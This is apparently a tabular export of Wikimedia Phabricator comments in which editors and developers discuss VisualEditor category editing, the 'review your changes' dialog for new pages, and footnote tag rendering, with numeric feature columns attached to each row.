498601,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","Just reinforcing @whatamidoing-wmf's point. This is one of those features where some user feedback would be welcome indeed, to see whether we are planning to put the right effort in the right feature. My totally subjective impression is that editors seem to be happy with HotCat, where you don't need to deal with wikitext at all. IMHO HotCat's UI could welcome some enhancements, but editing categories at the bottom of the page (where categories are found) seems to be unproblematic.",,,1438123638,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,3.0,0.0,1.0,1.0,1.0,6.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,10.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,13.0,1.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,8.0,8.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,4.344086021505376,0.7096774193548387,"Just reinforcingSCREEN_NAME-wmf's point. This is one of those features where some user feedback would be welcome indeed, to see whether we are planning to put the right effort in the right feature. My totally subjective impression is that editors seem to be happy with HotCat, where you don't need to deal with wikitext at all. IMHO HotCat's UI could welcome some enhancements, but editing categories at the bottom of the page (where categories are found) seems to be unproblematic."
498593,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","Just reinforcing @whatamidoing-wmf's point. This is one of those features where some user feedback would be welcome indeed, to see whether we are planning to put the right effort in the right feature. My totally subjective impression is that editors seem to be happy with HotCat, where you don't need to deal with wikitext at all. IMHO UI could welcome some enhancements, but editing categories at the bottom of the page (where categories are found) seems to be unproblematic.",,,1438122984,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,3.0,0.0,1.0,1.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,10.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,13.0,1.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,8.0,7.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,3.0,15.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,4.351648351648351,0.7252747252747253,"Just reinforcingSCREEN_NAME-wmf's point. This is one of those features where some user feedback would be welcome indeed, to see whether we are planning to put the right effort in the right feature. My totally subjective impression is that editors seem to be happy with HotCat, where you don't need to deal with wikitext at all. IMHO UI could welcome some enhancements, but editing categories at the bottom of the page (where categories are found) seems to be unproblematic."
498553,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","This has been discussed several times on wiki, and none of the experienced editors have mentioned concerns about having to scroll all the way to the end of the page.  However, if you're worried about that, then you could leave an item in the toolbar that either jumps to the end of the page, or that does exactly what it does now.",,,1438120605,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,3.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,11.0,1.0,3.0,1.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.842857142857143,0.7,"This has been discussed several times on wiki, and none of the experienced editors have mentioned concerns about having to scroll all the way to the end of the page.  However, if you're worried about that, then you could leave an item in the toolbar that either jumps to the end of the page, or that does exactly what it does now."
496143,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat",">>! In T52239#1477765, @Jdforrester-WMF wrote:
> Certainly I think this should only happen at the bottom of the page, not the window, yes.

In that case, we'd either be duplicating controls (if we leave the current category interface in) or removing the ability to edit categories without a bunch of scrolling (if we take the current interface out).  ",,,1437699559,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,6.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.0212765957446805,0.7872340425531915,"QUOTE
QUOTE

In that case, we'd either be duplicating controls (if we leave the current category interface in) or removing the ability to edit categories without a bunch of scrolling (if we take the current interface out).  "
496136,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","Certainly I think this should only happen at the bottom of the page, not the window, yes.",,,1437699244,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,15.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.65,0.85,"Certainly I think this should only happen at the bottom of the page, not the window, yes."
496124,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","I'm not sure this would actually be easier for the user. Currently, you can edit categories whenever you want without losing your place in the article; if we just stuck a category widget at the end of the document, you'd have to scroll all the way to the bottom every time you wanted to use it.

We could prevent that by putting the widget in a static flyout at the bottom of the window (as opposed to at the bottom of the //document//). But that means taking more screen space with the interface and splitting the editing tools between two different locations. ",,,1437698404,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,107,,1.0,0.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.5,2.5,1.0,0.0,0.0,0.0,2.0,0.0,2.5,14.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,1.0,0.0,2.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,14.0,1.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,10.5,0.5,3.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.5,14.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,1.5,0.0,3.0,1.5,0.0,0.0,4.043859649122807,0.8070175438596491,"I'm not sure this would actually be easier for the user. Currently, you can edit categories whenever you want without losing your place in the article; if we just stuck a category widget at the end of the document, you'd have to scroll all the way to the bottom every time you wanted to use it.

We could prevent that by putting the widget in a static flyout at the bottom of the window (as opposed to at the bottom of the //document//). But that means taking more screen space with the interface and splitting the editing tools between two different locations. "
252768,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat",*** Bug 69506 has been marked as a duplicate of this bug. ***,,,1414806319,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69506 has been marked as a duplicate of this bug. ***
252763,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","pamdavies7: It is not ""such a big ask"" and the problem is well understood. This is an enhancement request with low priority because there are currently more important things to do, but this will be handled at some point.
In case you have a tech background, patches are welcome: http://www.mediawiki.org/wiki/Developer_access",,,1373886151,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,0.0,3.0,2.0,10.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,7.0,2.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.9491525423728815,0.864406779661017,"pamdavies7: It is not ""such a big ask"" and the problem is well understood. This is an enhancement request with low priority because there are currently more important things to do, but this will be handled at some point.
In case you have a tech background, patches are welcome: URL"
252757,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","To expand on my point of 07-07: if I'm stub-sorting an article which already has categories, a common technique is to look at a key existing category, see if it has a stub category, if not then go to its parent category, and onwards up the tree (particularly useful in biological taxa etc which are so hierarchic); another technique is to assign a broad stub category and then look at the sub-categories of the stub-category, as being much quicker than going to the full stub listings. Neither of these approaches is possible with VE - I have to either open the article a second time in another tab, or quit VE and do it in Edit Source. 

Please just display clickable links for the categories while I'm editing the article in VE. Is it such a big ask?",,,1373883409,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,2,,0.5,0.0,0.0,0.0,0.5,6.5,2.5,0.0,0.0,1.5,3.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,14.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,17.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,8.0,3.5,7.0,2.0,3.0,12.0,0.0,0.0,0.0,0.0,5.5,0.5,1.0,0.0,4.5,14.5,3.0,0.5,0.0,0.0,4.5,0.0,1.0,3.5,0.0,2.0,0.5,0.0,0.5,3.772734116230051,0.7178560674495633,"To expand on my point of 07-07: if I'm stub-sorting an article which already has categories, a common technique is to look at a key existing category, see if it has a stub category, if not then go to its parent category, and onwards up the tree (particularly useful in biological taxa etc which are so hierarchic); another technique is to assign a broad stub category and then look at the sub-categories of the stub-category, as being much quicker than going to the full stub listings. Neither of these approaches is possible with VE - I have to either open the article a second time in another tab, or quit VE and do it in Edit Source. 

Please just display clickable links for the categories while I'm editing the article in VE. Is it such a big ask?"
252750,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","I've been told that [Wikipedia:VisualEditor/Feedback#Categories:_please_display_them_in_VE_-_not_the_right_bug my request] is covered by this bug, so I'll restate it here: please make the categories visible when I'm editing in VE. I can see them when I read an article, or while I'm editing in Edit Source, and I shouldn't have to click on ""Page Data"" to find out whether the article has been categorised or not.",,,1373238366,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,10.0,0.0,6.0,13.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,7.0,4.0,5.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,12.0,13.0,10.0,0.0,2.0,0.0,12.0,0.0,2.0,1.0,1.0,2.0,0.0,0.0,1.0,4.2682926829268295,0.7560975609756098,"I've been told that [Wikipedia:VisualEditor/Feedback#Categories:_please_display_them_in_VE_-_not_the_right_bug my request] is covered by this bug, so I'll restate it here: please make the categories visible when I'm editing in VE. I can see them when I read an article, or while I'm editing in Edit Source, and I shouldn't have to click on ""Page Data"" to find out whether the article has been categorised or not."
252744,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","We've discussed (but there's no bug for it - until now) duplicating the editing of categories in a box at the bottom of the article that would look similar to/the same as the category box in Vector (but with hidden categories shown, and inherited categories not shown). We'd have to properly design this, of course, so it may take a little time.

There's also a proposal to make the dialogs themselves smaller - bug 49549 - and draggable - bug 49969.",,,1372270719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,1.0,4.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,9.0,0.0,4.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,14.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,1.0,1.0,1.0,0.0,0.0,3.7857142857142856,0.673469387755102,"We've discussed (but there's no bug for it - until now) duplicating the editing of categories in a box at the bottom of the article that would look similar to/the same as the category box in Vector (but with hidden categories shown, and inherited categories not shown). We'd have to properly design this, of course, so it may take a little time.

There's also a proposal to make the dialogs themselves smaller - bug 49549 - and draggable - bug 49969."
52180,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","See the screenshot. I get that it's sort of a one-sided diff in a <poem> box, but it isn't particularly useful to review since no tweaks made by the VE that are problematic could be picked out; one would have to review the entire article, in markup.

I'm not sure if there's a better way to work it or if the answer is just to kill it for new page creations, but.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372171920,1437786780.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-h6w322yrax25ai4skgpq,task_description,declined,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.5,1.5,6.0,1.5,0.0,0.0,2.0,1.5,1.5,0.0,0.0,1.0,1.5,0.0,4.0,9.5,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,5.0,0.5,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.0,7.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,4.5,3.0,2.5,5.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,5.0,9.5,1.5,0.0,0.0,0.0,5.0,0.0,0.5,2.0,0.0,0.0,1.0,0.0,0.5,3.4905660377358494,0.7830188679245282,"See the screenshot. I get that it's sort of a one-sided diff in a <poem> box, but it isn't particularly useful to review since no tweaks made by the VE that are problematic could be picked out; one would have to review the entire article, in markup.

I'm not sure if there's a better way to work it or if the answer is just to kill it for new page creations, but.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
496822,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","Closing since (1) we don't have a clear suggestion here, (2) some power editors clearly find the tool useful, and (3) it would be needlessly confusing to normally have a ""review your changes"" button, but take it away when you're creating a page. I've opened T106926 for the main design inconsistency between the two flavors of the dialog. ",,,1437786780,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,3,True,,,107,,1.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,9.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,9.0,1.0,4.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,8.0,7.0,1.0,0.0,3.0,0.0,8.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,4.0,3.7972972972972974,0.7972972972972973,"Closing since (1) we don't have a clear suggestion here, (2) some power editors clearly find the tool useful, and (3) it would be needlessly confusing to normally have a ""review your changes"" button, but take it away when you're creating a page. I've opened T106926 for the main design inconsistency between the two flavors of the dialog. "
249426,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","(Oliver Keyes, where's the screenshot?)

Currently on enwiki and mediawiki.org [Review your changes] on a new page displays the wiki text in a <pre> tag, so the wiki markup continues way off to the right side and is almost unusable.

If VE just gave it a style ""ve-review-newpage"" and give it something like
   white-space: pre-wrap;
it would be somewhat usable. Or you could use a poem-like div, from comment #0 it sounds like VE used that in June.

Cheers,

(In reply to comment #0)
> See the screenshot.
Where? I see no attachments.",,,1373922321,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,3,False,,,2,,0.0,1.0,0.0,0.0,0.0,6.5,1.5,0.0,0.0,0.5,2.0,0.0,0.0,1.5,0.0,1.0,0.0,4.5,7.5,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,3.5,1.0,3.0,2.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.5,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,9.0,2.0,3.0,6.0,0.0,0.0,0.0,1.5,4.5,0.0,1.5,0.0,5.0,7.5,5.5,1.5,1.0,0.0,5.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,2.0,3.2916101311623702,0.7968113975576663,"(Oliver Keyes, where's the screenshot?)

Currently on enwiki and mediawiki.org [Review your changes] on a new page displays the wiki text in a <pre> tag, so the wiki markup continues way off to the right side and is almost unusable.

If VE just gave it a style ""ve-review-newpage"" and give it something like
   white-space: pre-wrap;
it would be somewhat usable. Or you could use a poem-like div, from comment #0 it sounds like VE used that in June.

Cheers,

(In reply to comment #0)
QUOTE
Where? I see no attachments."
249419,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","I disagree; albeit as a power-user, I check the resultant wikitext quite often when I'm doing complex things with templates and parser functions (especially the kind that are subst:'ed).

This will be somewhat moot when we have an HTML-based ""review your changes"" available as well, but that's some months off at this point. :-( Rewording.",,,1372172512,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,2,True,,,-1,,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,6.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,17.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,8.0,4.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,3.0,0.0,7.0,0.0,4.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9722222222222223,0.8472222222222222,"I disagree; albeit as a power-user, I check the resultant wikitext quite often when I'm doing complex things with templates and parser functions (especially the kind that are subst:'ed).

This will be somewhat moot when we have an HTML-based ""review your changes"" available as well, but that's some months off at this point. :-( Rewording."
249412,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","I guess the ask is ""can we come up with a better way of handling things, or alternately not load the option to review on new page creations?"" The wikitext editor handles it this way, yes. The wikitext editor sucks at it, and shouldn't be providing that button in that scenario ;p.",,,1372172349,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,11.0,0.0,2.0,3.0,0.0,7.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,3.7540983606557377,0.8360655737704918,"I guess the ask is ""can we come up with a better way of handling things, or alternately not load the option to review on new page creations?"" The wikitext editor handles it this way, yes. The wikitext editor sucks at it, and shouldn't be providing that button in that scenario ;p."
249408,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour",This is the exact same behaviour as the wikitext editor; I'm not sure what the 'ask' is?,,,1372172147,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,9.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.8181818181818182,This is the exact same behaviour as the wikitext editor; I'm not sure what the 'ask' is?
52095,VisualEditor: sizing of footnote tags (e.g. [12]) inconsistent.,"See https://en.wikipedia.org/wiki/Joe_Flacco?veaction=edit - for example, references 24 and 25 under the section ""2012 season: Super Bowl MVP"". It looks like one of them is using Template:R, which may explain the problem, but I'm not sure if the icon not rendering properly is a template problem or a VE problem.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1372081320,1437783652.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-yifg3bkbmsq2tzfrga4q,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,4.0,6.0,5.0,0.0,3.0,0.0,4.0,0.0,1.0,3.0,1.0,3.0,0.0,0.0,0.0,3.641025641025641,0.717948717948718,"See URL - for example, references 24 and 25 under the section ""2012 season: Super Bowl MVP"". It looks like one of them is using Template:R, which may explain the problem, but I'm not sure if the icon not rendering properly is a template problem or a VE problem.

--------------------------
**Version**: unspecified
**Severity**: minor"
244235,VisualEditor: sizing of footnote tags (e.g. [12]) inconsistent.,"Also in https://en.wikipedia.org/wiki/Michelle_%28song%29 sourced to the sfn template, it looks like.",,,1372125037,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yifg3bkbmsq2tzfrga4q,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,1.0,"Also in URL sourced to the sfn template, it looks like."
244229,VisualEditor: sizing of footnote tags (e.g. [12]) inconsistent.,"From that article, references 25 and 26 (from {{r}} and <ref> respectively) generate:

{{r}} ->

<span about=""#mwt97"" class=""reference"" data-mw=""…"" rel=""dc:references"" typeof=""mw:Transclusion  mw:Extension/ref"" data-parsoid=""…"">[25]</a></span>

<ref> ->

<span about=""#mwt99"" class=""reference"" data-mw=""…"" id=""…"" rel=""dc:references"" typeof=""mw:Extension/ref"" data-parsoid=""…""><a href=""…"">[26]</a></span>

